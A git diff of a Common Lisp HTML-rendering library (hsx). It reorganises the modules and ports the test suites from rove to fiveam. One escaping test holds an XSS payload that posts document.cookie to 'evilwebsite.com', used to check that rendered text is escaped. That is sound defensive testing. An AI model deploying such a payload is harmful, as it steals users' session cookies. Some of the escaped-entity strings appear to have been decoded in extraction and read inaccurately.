||||||
|
|
||||||
|
(defgroup self-closing-tag
|
||||||
|
area base br col embed hr img input
|
||||||
|
link meta param source track wbr)
|
||||||
|
|
||||||
|
(defgroup non-escaping-tag
|
||||||
|
script style)
|
||||||
73
src/hsx.lisp
Normal file
73
src/hsx.lisp
Normal file
|
|
@ -0,0 +1,73 @@
|
||||||
|
(defpackage #:hsx/hsx
|
||||||
|
(:use #:cl)
|
||||||
|
(:import-from #:alexandria
|
||||||
|
#:make-keyword
|
||||||
|
#:symbolicate)
|
||||||
|
(:import-from #:hsx/element
|
||||||
|
#:create-element)
|
||||||
|
(:export #:hsx
|
||||||
|
#:deftag
|
||||||
|
#:defcomp))
|
||||||
|
(in-package #:hsx/hsx)
|
||||||
|
|
||||||
|
;;;; hsx macro
|
||||||
|
|
||||||
|
(defmacro hsx (form)
|
||||||
|
"Detect built-in HSX elements and automatically import them."
|
||||||
|
(find-builtin-symbols form))
|
||||||
|
|
||||||
|
(defun find-builtin-symbols (node)
|
||||||
|
(if (atom node)
|
||||||
|
(or (and (symbolp node)
|
||||||
|
(not (keywordp node))
|
||||||
|
(find-symbol (string node) :hsx/builtin))
|
||||||
|
node)
|
||||||
|
(cons (find-builtin-symbols (car node))
|
||||||
|
(mapcar (lambda (n)
|
||||||
|
(if (listp n)
|
||||||
|
(find-builtin-symbols n)
|
||||||
|
n))
|
||||||
|
(cdr node)))))
|
||||||
|
|
||||||
|
;;;; defhsx macro
|
||||||
|
|
||||||
|
(defmacro defhsx (name element-type)
|
||||||
|
`(defmacro ,name (&body body)
|
||||||
|
`(%create-element ,',element-type ,@body)))
|
||||||
|
|
||||||
|
(defun %create-element (type &rest body)
|
||||||
|
(multiple-value-bind (props children)
|
||||||
|
(parse-body body)
|
||||||
|
(create-element type props children)))
|
||||||
|
|
||||||
|
(defun parse-body (body)
|
||||||
|
(cond ((and (listp (first body))
|
||||||
|
(keywordp (first (first body))))
|
||||||
|
(values (first body) (rest body)))
|
||||||
|
((keywordp (first body))
|
||||||
|
(loop :for thing :on body :by #'cddr
|
||||||
|
:for (k v) := thing
|
||||||
|
:when (and (keywordp k) v)
|
||||||
|
:append (list k v) :into props
|
||||||
|
:when (not (keywordp k))
|
||||||
|
:return (values props thing)
|
||||||
|
:finally (return (values props nil))))
|
||||||
|
(t (values nil body))))
|
||||||
|
|
||||||
|
(defmacro deftag (name)
|
||||||
|
`(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||||
|
(defhsx ,name ,(make-keyword name))))
|
||||||
|
|
||||||
|
(defmacro defcomp (name props &body body)
|
||||||
|
"Define a function component for use in HSX.
|
||||||
|
The props must be declared with either &key or &rest (or both).
|
||||||
|
The body must return an HSX element."
|
||||||
|
(unless (or (null props)
|
||||||
|
(member '&key props)
|
||||||
|
(member '&rest props))
|
||||||
|
(error "Component properties must be declared with either &key, &rest, or both."))
|
||||||
|
(let ((%name (symbolicate '% name)))
|
||||||
|
`(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||||
|
(defun ,%name ,props
|
||||||
|
,@body)
|
||||||
|
(defhsx ,name (fdefinition ',%name)))))
|
||||||
|
|
@ -2,11 +2,9 @@
|
||||||
(:nicknames #:hsx/main)
|
(:nicknames #:hsx/main)
|
||||||
(:use #:cl
|
(:use #:cl
|
||||||
#:hsx/element
|
#:hsx/element
|
||||||
#:hsx/dsl
|
#:hsx/hsx)
|
||||||
#:hsx/utils)
|
|
||||||
(:import-from #:hsx/builtin)
|
(:import-from #:hsx/builtin)
|
||||||
(:export #:hsx
|
(:export #:hsx
|
||||||
#:defcomp
|
#:defcomp
|
||||||
#:render-to-string
|
#:render-to-string))
|
||||||
#:clsx))
|
|
||||||
(in-package :hsx)
|
(in-package :hsx)
|
||||||
|
|
|
||||||
|
|
@ -1,46 +0,0 @@
|
||||||
(defpackage #:hsx/utils
|
|
||||||
(:use #:cl)
|
|
||||||
(:import-from #:alexandria
|
|
||||||
#:alist-hash-table
|
|
||||||
#:make-keyword
|
|
||||||
#:symbolicate)
|
|
||||||
(:export #:escape-html-attribute
|
|
||||||
#:escape-html-text-content
|
|
||||||
#:clsx))
|
|
||||||
(in-package #:hsx/utils)
|
|
||||||
|
|
||||||
(defparameter *text-content-escape-map*
|
|
||||||
(alist-hash-table
|
|
||||||
'((#\& . "&")
|
|
||||||
(#\< . "<")
|
|
||||||
(#\> . ">")
|
|
||||||
(#\" . """)
|
|
||||||
(#\' . "'")
|
|
||||||
(#\/ . "/")
|
|
||||||
(#\` . "`")
|
|
||||||
(#\= . "="))))
|
|
||||||
|
|
||||||
(defparameter *attribute-escape-map*
|
|
||||||
(alist-hash-table
|
|
||||||
'((#\" . """))))
|
|
||||||
|
|
||||||
(defun escape-char (char escape-map)
|
|
||||||
(or (gethash char escape-map)
|
|
||||||
char))
|
|
||||||
|
|
||||||
(defun escape-string (str escape-map)
|
|
||||||
(if (stringp str)
|
|
||||||
(with-output-to-string (out)
|
|
||||||
(loop
|
|
||||||
:for c :across str
|
|
||||||
:do (write (escape-char c escape-map) :stream out :escape nil)))
|
|
||||||
str))
|
|
||||||
|
|
||||||
(defun escape-html-text-content (str)
|
|
||||||
(escape-string str *text-content-escape-map*))
|
|
||||||
|
|
||||||
(defun escape-html-attribute (str)
|
|
||||||
(escape-string str *attribute-escape-map*))
|
|
||||||
|
|
||||||
(defun clsx (&rest strs)
|
|
||||||
(format nil "~{~a~^ ~}" (remove nil strs)))
|
|
||||||
|
|
@ -1,79 +0,0 @@
|
||||||
(defpackage #:hsx-test/dsl
|
|
||||||
(:use #:cl
|
|
||||||
#:rove
|
|
||||||
#:hsx/dsl)
|
|
||||||
(:import-from #:hsx/builtin)
|
|
||||||
(:import-from #:hsx/element
|
|
||||||
#:element-props
|
|
||||||
#:element-children))
|
|
||||||
(in-package #:hsx-test/dsl)
|
|
||||||
|
|
||||||
(defcomp ~comp1 (&key children)
|
|
||||||
(hsx (div children)))
|
|
||||||
|
|
||||||
(deftest detect-elements-test
|
|
||||||
(testing "detect-tags"
|
|
||||||
(ok (expands '(hsx (div div div))
|
|
||||||
'(hsx/builtin:div div div)))
|
|
||||||
(ok (expands '(hsx (div (div div (div))))
|
|
||||||
'(hsx/builtin:div
|
|
||||||
(hsx/builtin:div
|
|
||||||
div
|
|
||||||
(hsx/builtin:div))))))
|
|
||||||
|
|
||||||
(testing "detect-components"
|
|
||||||
(ok (expands '(hsx (~comp1 (div)))
|
|
||||||
'(~comp1 (hsx/builtin:div)))))
|
|
||||||
|
|
||||||
(testing "ignore-malformed-form"
|
|
||||||
(ok (expands '(hsx (div . div))
|
|
||||||
'(div . div)))
|
|
||||||
(ok (expands '(hsx ((div)))
|
|
||||||
'((div)))))
|
|
||||||
|
|
||||||
(testing "ignore-cl-form"
|
|
||||||
(ok (expands '(hsx (labels ((div () "div"))
|
|
||||||
(div)))
|
|
||||||
'(labels ((div () "div"))
|
|
||||||
(div))))))
|
|
||||||
|
|
||||||
(deftest dsl-test
|
|
||||||
(testing "empty-hsx"
|
|
||||||
(let ((elm (hsx (div))))
|
|
||||||
(ok (null (element-props elm)))
|
|
||||||
(ok (null (element-children elm)))))
|
|
||||||
|
|
||||||
(testing "hsx-with-static-props"
|
|
||||||
(let ((elm (hsx (div :prop1 "value1" :prop2 "value2"))))
|
|
||||||
(ok (equal '(:prop1 "value1" :prop2 "value2")
|
|
||||||
(element-props elm)))
|
|
||||||
(ok (null (element-children elm)))))
|
|
||||||
|
|
||||||
(testing "hsx-with-dynamic-props"
|
|
||||||
(let* ((props '(:prop1 "value1" :prop2 "value2"))
|
|
||||||
(elm (hsx (div props))))
|
|
||||||
(ok (equal props (element-props elm)))
|
|
||||||
(ok (null (element-children elm)))))
|
|
||||||
|
|
||||||
(testing "hsx-with-children"
|
|
||||||
(let ((elm (hsx (div
|
|
||||||
"child1"
|
|
||||||
"child2"))))
|
|
||||||
(ok (null (element-props elm)))
|
|
||||||
(ok (equal (list "child1" "child2") (element-children elm)))))
|
|
||||||
|
|
||||||
(testing "hsx-with-static-props-and-children"
|
|
||||||
(let ((elm (hsx (div :prop1 "value1" :prop2 "value2"
|
|
||||||
"child1"
|
|
||||||
"child2"))))
|
|
||||||
(ok (equal '(:prop1 "value1" :prop2 "value2")
|
|
||||||
(element-props elm)))
|
|
||||||
(ok (equal (list "child1" "child2") (element-children elm)))))
|
|
||||||
|
|
||||||
(testing "hsx-with-dynamic-props-and-children"
|
|
||||||
(let* ((props '(:prop1 "value1" :prop2 "value2"))
|
|
||||||
(elm (hsx (div props
|
|
||||||
"child1"
|
|
||||||
"child2"))))
|
|
||||||
(ok (equal props (element-props elm)))
|
|
||||||
(ok (equal (list "child1" "child2") (element-children elm))))))
|
|
||||||
|
|
@ -1,154 +1,145 @@
|
||||||
(defpackage #:hsx-test/element
|
(defpackage #:hsx-test/element
|
||||||
(:use #:cl
|
(:use #:cl
|
||||||
#:rove
|
#:fiveam
|
||||||
#:hsx/element)
|
#:hsx/element)
|
||||||
(:import-from #:named-readtables
|
(:import-from #:named-readtables
|
||||||
#:in-readtable)
|
#:in-readtable)
|
||||||
(:import-from #:mstrings
|
(:import-from #:mstrings
|
||||||
#:mstring-syntax))
|
#:mstring-syntax))
|
||||||
(in-package #:hsx-test/element)
|
(in-package #:hsx-test/element)
|
||||||
|
|
||||||
(in-readtable mstring-syntax)
|
(in-readtable mstring-syntax)
|
||||||
|
|
||||||
(deftest tag-test
|
(def-suite element-test)
|
||||||
(testing "element-class"
|
(in-suite element-test)
|
||||||
(ok (typep (create-element :div nil nil) 'tag))
|
|
||||||
(ok (typep (create-element :html nil nil) 'html-tag))
|
|
||||||
(ok (typep (create-element :img nil nil) 'self-closing-tag))
|
|
||||||
(ok (typep (create-element :<> nil nil) 'fragment))
|
|
||||||
(ok (typep (create-element (lambda ()) nil nil) 'component))
|
|
||||||
(ok (signals (create-element "div" nil nil))))
|
|
||||||
|
|
||||||
(testing "flatten-children"
|
(test element-class
|
||||||
(let* ((elm (create-element :p
|
(is (typep (create-element :div nil nil) 'tag))
|
||||||
nil
|
(is (typep (create-element :html nil nil) 'html-tag))
|
||||||
(list "a"
|
(is (typep (create-element :img nil nil) 'self-closing-tag))
|
||||||
nil
|
(is (typep (create-element :style nil nil) 'non-escaping-tag))
|
||||||
(list "b" (list nil "c"))
|
(is (typep (create-element :<> nil nil) 'fragment))
|
||||||
(cons "d" "e")))))
|
(is (typep (create-element (lambda ()) nil nil) 'component))
|
||||||
(ok (equal (list "a" "b" "c" "d" "e") (element-children elm)))))
|
(signals error (create-element "div" nil nil)))
|
||||||
|
|
||||||
(testing "empty-element"
|
(test flatten-children
|
||||||
(ok (string= "<div></div>"
|
(let* ((elm (create-element :p
|
||||||
(render-to-string (create-element :div nil nil)))))
|
nil
|
||||||
|
(list "a"
|
||||||
(testing "element-with-props"
|
nil
|
||||||
(ok (string= "<div prop1=\"value1\" prop2></div>"
|
(list "b" (list nil "c"))
|
||||||
(render-to-string (create-element :div
|
(cons "d" "e")))))
|
||||||
(list :prop1 "value1"
|
(is (equal (list "a" "b" "c" "d" "e") (element-children elm)))))
|
||||||
:prop2 t
|
|
||||||
:prop3 nil)
|
(test empty-element
|
||||||
nil)))))
|
(is (string= "<div></div>"
|
||||||
|
(render-to-string (create-element :div nil nil)))))
|
||||||
(testing "element-with-children"
|
|
||||||
(ok (string= "<p>foo</p>"
|
(test element-with-props
|
||||||
(render-to-string (create-element :p
|
(is (string= "<div prop1=\"value1\" prop2></div>"
|
||||||
nil
|
(render-to-string (create-element :div
|
||||||
(list "foo"))
|
(list :prop1 "value1"
|
||||||
:pretty t)))
|
:prop2 t
|
||||||
(ok (string= #M"<p>
|
:prop3 nil)
|
||||||
|
nil)))))
|
||||||
|
|
||||||
|
(test element-with-children
|
||||||
|
(is (string= "<p>foo</p>"
|
||||||
|
(render-to-string (create-element :p
|
||||||
|
nil
|
||||||
|
(list "foo"))
|
||||||
|
:pretty t)))
|
||||||
|
(is (string= #M"<p>
|
||||||
\ <span>foo</span>
|
\ <span>foo</span>
|
||||||
</p>"
|
</p>"
|
||||||
(render-to-string (create-element :p
|
(render-to-string (create-element :p
|
||||||
nil
|
nil
|
||||||
(list (create-element :span
|
(list (create-element :span
|
||||||
nil
|
nil
|
||||||
(list "foo"))))
|
(list "foo"))))
|
||||||
:pretty t)))
|
:pretty t)))
|
||||||
(ok (string= #M"<p>
|
(is (string= #M"<p>
|
||||||
\ foo
|
\ foo
|
||||||
\ <span>bar</span>
|
\ <span>bar</span>
|
||||||
</p>"
|
</p>"
|
||||||
(render-to-string (create-element :p
|
(render-to-string (create-element :p
|
||||||
nil
|
nil
|
||||||
(list "foo"
|
(list "foo"
|
||||||
(create-element :span
|
(create-element :span
|
||||||
nil
|
nil
|
||||||
(list "bar"))))
|
(list "bar"))))
|
||||||
:pretty t))))
|
:pretty t))))
|
||||||
|
|
||||||
(testing "element-with-props-and-children"
|
(test element-with-props-and-children
|
||||||
(ok (string= "<p prop1=\"value1\" prop2>foo</p>"
|
(is (string= "<p prop1=\"value1\" prop2>foo</p>"
|
||||||
(render-to-string (create-element :p
|
(render-to-string (create-element :p
|
||||||
(list :prop1 "value1"
|
(list :prop1 "value1"
|
||||||
:prop2 t
|
:prop2 t
|
||||||
:prop3 nil)
|
:prop3 nil)
|
||||||
(list "foo"))
|
(list "foo"))
|
||||||
:pretty t)))
|
:pretty t)))
|
||||||
(ok (string= #M"<p prop1=\"value1\" prop2>
|
(is (string= #M"<p prop1=\"value1\" prop2>
|
||||||
\ foo
|
\ foo
|
||||||
\ <span>bar</span>
|
\ <span>bar</span>
|
||||||
</p>"
|
</p>"
|
||||||
(render-to-string (create-element :p
|
(render-to-string (create-element :p
|
||||||
(list :prop1 "value1"
|
(list :prop1 "value1"
|
||||||
:prop2 t
|
:prop2 t
|
||||||
:prop3 nil)
|
:prop3 nil)
|
||||||
(list "foo"
|
(list "foo"
|
||||||
(create-element :span
|
(create-element :span
|
||||||
nil
|
nil
|
||||||
"bar")))
|
"bar")))
|
||||||
:pretty t))))
|
:pretty t))))
|
||||||
|
|
||||||
(testing "self-closing-tag"
|
(test self-closing-tag
|
||||||
(ok (string= "<img src=\"/background.png\">"
|
(is (string= "<img src=\"/background.png\">"
|
||||||
(render-to-string (create-element :img
|
(render-to-string (create-element :img
|
||||||
(list :src "/background.png")
|
(list :src "/background.png")
|
||||||
nil)
|
nil)
|
||||||
:pretty t))))
|
:pretty t))))
|
||||||
(testing "fragment"
|
|
||||||
(let ((frg (create-element :<>
|
(test escaping-tag
|
||||||
nil
|
(is (string= "<div><script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script></div>"
|
||||||
(list (create-element :li
|
(render-to-string
|
||||||
nil
|
(create-element :div
|
||||||
(list "bar"))
|
nil
|
||||||
(create-element :li
|
(list "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>"))))))
|
||||||
nil
|
|
||||||
(list "baz"))))))
|
(test non-escaping-tag
|
||||||
(ok (string= #M"<li>bar</li>
|
(is (string= "<script>alert('<< Do not embed user-generated contents here! >>')</script>"
|
||||||
|
(render-to-string
|
||||||
|
(create-element :script
|
||||||
|
nil
|
||||||
|
"alert('<< Do not embed user-generated contents here! >>')")))))
|
||||||
|
|
||||||
|
(test fragment
|
||||||
|
(let ((frg (create-element :<>
|
||||||
|
nil
|
||||||
|
(list (create-element :li
|
||||||
|
nil
|
||||||
|
(list "bar"))
|
||||||
|
(create-element :li
|
||||||
|
nil
|
||||||
|
(list "baz"))))))
|
||||||
|
(is (string= #M"<li>bar</li>
|
||||||
<li>baz</li>"
|
<li>baz</li>"
|
||||||
(render-to-string frg :pretty t)))
|
(render-to-string frg :pretty t)))
|
||||||
(ok (string= #M"<ul>
|
(is (string= #M"<ul>
|
||||||
\ <li>foo</li>
|
\ <li>foo</li>
|
||||||
\ <li>bar</li>
|
\ <li>bar</li>
|
||||||
\ <li>baz</li>
|
\ <li>baz</li>
|
||||||
\ <li>brah</li>
|
\ <li>brah</li>
|
||||||
</ul>"
|
</ul>"
|
||||||
(render-to-string (create-element :ul
|
(render-to-string (create-element :ul
|
||||||
nil
|
nil
|
||||||
(list (create-element :li
|
(list (create-element :li
|
||||||
nil
|
nil
|
||||||
(list "foo"))
|
(list "foo"))
|
||||||
frg
|
frg
|
||||||
(create-element :li
|
(create-element :li
|
||||||
nil
|
nil
|
||||||
(list "brah"))))
|
(list "brah"))))
|
||||||
:pretty t)))))
|
:pretty t)))))
|
||||||
|
|
||||||
|
|
||||||
(testing "raw-fragment"
|
|
||||||
(ok (string= "<div><script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script></div>"
|
|
||||||
(render-to-string
|
|
||||||
(create-element :div
|
|
||||||
nil
|
|
||||||
(list "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>")))))
|
|
||||||
(ok (string= "<script>alert('<< Do not embed user-generated contents here! >>')</script>"
|
|
||||||
(render-to-string
|
|
||||||
(create-element :script
|
|
||||||
nil
|
|
||||||
(create-element :raw!
|
|
||||||
nil
|
|
||||||
"alert('<< Do not embed user-generated contents here! >>')"))))))
|
|
||||||
|
|
||||||
(testing "minify-props-text"
|
|
||||||
(let ((elm (create-element :div
|
|
||||||
'(:x-data "{
|
|
||||||
open: false,
|
|
||||||
get isOpen() { return this.open },
|
|
||||||
toggle() { this.open = ! this.open },
|
|
||||||
}")
|
|
||||||
nil)))
|
|
||||||
(ok (string= (render-to-string elm)
|
|
||||||
"<div x-data=\"{ open: false, get isOpen() { return this.open }, toggle() { this.open = ! this.open }, }\"></div>")))))
|
|
||||||
|
|
||||||
(defun comp1 (&key prop children)
|
(defun comp1 (&key prop children)
|
||||||
(create-element :div
|
(create-element :div
|
||||||
|
|
@ -156,12 +147,26 @@
|
||||||
(list prop
|
(list prop
|
||||||
children)))
|
children)))
|
||||||
|
|
||||||
|
(test component-accepting-keyword-args
|
||||||
|
(let ((elm (expand-component (create-element #'comp1
|
||||||
|
'(:prop "value")
|
||||||
|
(list "child")))))
|
||||||
|
(is (eq :div (element-type elm)))
|
||||||
|
(is (equal (list "value" "child") (element-children elm)))))
|
||||||
|
|
||||||
(defun comp2 (&rest props)
|
(defun comp2 (&rest props)
|
||||||
(create-element :div
|
(create-element :div
|
||||||
nil
|
nil
|
||||||
(list (getf props :prop)
|
(list (getf props :prop)
|
||||||
(getf props :children))))
|
(getf props :children))))
|
||||||
|
|
||||||
|
(test component-accepting-property-list
|
||||||
|
(let ((elm (expand-component (create-element #'comp2
|
||||||
|
'(:prop "value")
|
||||||
|
(list "child")))))
|
||||||
|
(is (eq :div (element-type elm)))
|
||||||
|
(is (equal (list "value" "child") (element-children elm)))))
|
||||||
|
|
||||||
(defun comp3 (&rest props &key prop children &allow-other-keys)
|
(defun comp3 (&rest props &key prop children &allow-other-keys)
|
||||||
(create-element :div
|
(create-element :div
|
||||||
nil
|
nil
|
||||||
|
|
@ -169,24 +174,9 @@
|
||||||
children
|
children
|
||||||
(getf props :other-key))))
|
(getf props :other-key))))
|
||||||
|
|
||||||
(deftest component-test
|
(test component-accepting-keyword-args-and-property-list
|
||||||
(testing "component-accepting-keyword-args"
|
(let ((elm (expand-component (create-element #'comp3
|
||||||
(let ((elm (expand-component (create-element #'comp1
|
'(:prop "value" :other-key "other")
|
||||||
'(:prop "value")
|
(list "child")))))
|
||||||
(list "child")))))
|
(is (eq :div (element-type elm)))
|
||||||
(ok (eq :div (element-type elm)))
|
(is (equal (list "value" "child" "other") (element-children elm)))))
|
||||||
(ok (equal (list "value" "child") (element-children elm)))))
|
|
||||||
|
|
||||||
(testing "component-accepting-property-list"
|
|
||||||
(let ((elm (expand-component (create-element #'comp2
|
|
||||||
'(:prop "value")
|
|
||||||
(list "child")))))
|
|
||||||
(ok (eq :div (element-type elm)))
|
|
||||||
(ok (equal (list "value" "child") (element-children elm)))))
|
|
||||||
|
|
||||||
(testing "component-accepting-keyword-args-and-property-list"
|
|
||||||
(let ((elm (expand-component (create-element #'comp3
|
|
||||||
'(:prop "value" :other-key "other")
|
|
||||||
(list "child")))))
|
|
||||||
(ok (eq :div (element-type elm)))
|
|
||||||
(ok (equal (list "value" "child" "other") (element-children elm))))))
|
|
||||||
|
|
|
||||||
16
tests/escaper.lisp
Normal file
16
tests/escaper.lisp
Normal file
|
|
@ -0,0 +1,16 @@
|
||||||
|
(defpackage #:hsx-test/escaper
|
||||||
|
(:use #:cl
|
||||||
|
#:fiveam
|
||||||
|
#:hsx/escaper))
|
||||||
|
(in-package #:hsx-test/escaper)
|
||||||
|
|
||||||
|
(def-suite escaper-test)
|
||||||
|
(in-suite escaper-test)
|
||||||
|
|
||||||
|
(test escape-html-attribute
|
||||||
|
(is (equal ""foo""
|
||||||
|
(escape-html-attribute "\"foo\""))))
|
||||||
|
|
||||||
|
(test escape-html-text-content
|
||||||
|
(is (string= "&<>"'/`="
|
||||||
|
(escape-html-text-content "&<>\"'/`="))))
|
||||||
16
tests/group.lisp
Normal file
16
tests/group.lisp
Normal file
|
|
@ -0,0 +1,16 @@
|
||||||
|
(defpackage #:hsx-test/group
|
||||||
|
(:use #:cl
|
||||||
|
#:fiveam
|
||||||
|
#:hsx/group))
|
||||||
|
(in-package #:hsx-test/group)
|
||||||
|
|
||||||
|
(def-suite group-test)
|
||||||
|
(in-suite group-test)
|
||||||
|
|
||||||
|
(defgroup fruit
|
||||||
|
apple banana orange)
|
||||||
|
|
||||||
|
(test defgroup
|
||||||
|
(is (hash-table-p *fruit*))
|
||||||
|
(is (fruit-p :apple))
|
||||||
|
(is (not (fruit-p :tomato))))
|
||||||
69
tests/hsx.lisp
Normal file
69
tests/hsx.lisp
Normal file
|
|
@ -0,0 +1,69 @@
|
||||||
|
(defpackage #:hsx-test/hsx
|
||||||
|
(:use #:cl
|
||||||
|
#:fiveam
|
||||||
|
#:hsx/hsx
|
||||||
|
#:hsx/builtin)
|
||||||
|
(:import-from #:hsx/element
|
||||||
|
#:element-props
|
||||||
|
#:element-children))
|
||||||
|
(in-package #:hsx-test/hsx)
|
||||||
|
|
||||||
|
(def-suite hsx-test)
|
||||||
|
(in-suite hsx-test)
|
||||||
|
|
||||||
|
(test find-symbols
|
||||||
|
(is (equal '(hsx/builtin:div '(:div "div")
|
||||||
|
div
|
||||||
|
(hsx/builtin:div
|
||||||
|
'div
|
||||||
|
(hsx/builtin:div)
|
||||||
|
:div)
|
||||||
|
"div")
|
||||||
|
(macroexpand-1
|
||||||
|
'(hsx (div '(:div "div")
|
||||||
|
div
|
||||||
|
(div
|
||||||
|
'div
|
||||||
|
(div)
|
||||||
|
:div)
|
||||||
|
"div"))))))
|
||||||
|
|
||||||
|
(test empty-hsx
|
||||||
|
(let ((elm (div)))
|
||||||
|
(is (null (element-props elm)))
|
||||||
|
(is (null (element-children elm)))))
|
||||||
|
|
||||||
|
(test hsx-with-static-props
|
||||||
|
(let ((elm (div :prop1 "value1" :prop2 "value2")))
|
||||||
|
(is (equal '(:prop1 "value1" :prop2 "value2")
|
||||||
|
(element-props elm)))
|
||||||
|
(is (null (element-children elm)))))
|
||||||
|
|
||||||
|
(test hsx-with-dynamic-props
|
||||||
|
(let* ((props '(:prop1 "value1" :prop2 "value2"))
|
||||||
|
(elm (div props)))
|
||||||
|
(is (equal props (element-props elm)))
|
||||||
|
(is (null (element-children elm)))))
|
||||||
|
|
||||||
|
(test hsx-with-children
|
||||||
|
(let ((elm (div
|
||||||
|
"child1"
|
||||||
|
"child2")))
|
||||||
|
(is (null (element-props elm)))
|
||||||
|
(is (equal (list "child1" "child2") (element-children elm)))))
|
||||||
|
|
||||||
|
(test hsx-with-static-props-and-children
|
||||||
|
(let ((elm (div :prop1 "value1" :prop2 "value2"
|
||||||
|
"child1"
|
||||||
|
"child2")))
|
||||||
|
(is (equal '(:prop1 "value1" :prop2 "value2")
|
||||||
|
(element-props elm)))
|
||||||
|
(is (equal (list "child1" "child2") (element-children elm)))))
|
||||||
|
|
||||||
|
(test hsx-with-dynamic-props-and-children
|
||||||
|
(let* ((props '(:prop1 "value1" :prop2 "value2"))
|
||||||
|
(elm (div props
|
||||||
|
"child1"
|
||||||
|
"child2")))
|
||||||
|
(is (equal props (element-props elm)))
|
||||||
|
(is (equal (list "child1" "child2") (element-children elm)))))
|
||||||
|
|
@ -1,14 +0,0 @@
|
||||||
(defpackage #:hsx-test/utils
|
|
||||||
(:use #:cl
|
|
||||||
#:rove
|
|
||||||
#:hsx/utils))
|
|
||||||
(in-package #:hsx-test/utils)
|
|
||||||
|
|
||||||
(deftest text-util-test
|
|
||||||
(testing "escape-html-attribute"
|
|
||||||
(ok (string= ""foo""
|
|
||||||
(escape-html-attribute "\"foo\""))))
|
|
||||||
|
|
||||||
(testing "escape-html-text-content"
|
|
||||||
(ok (string= "&<>"'/`="
|
|
||||||
(escape-html-text-content "&<>\"'/`=")))))
|
|
||||||
Loading…
Add table
Add a link
Reference in a new issue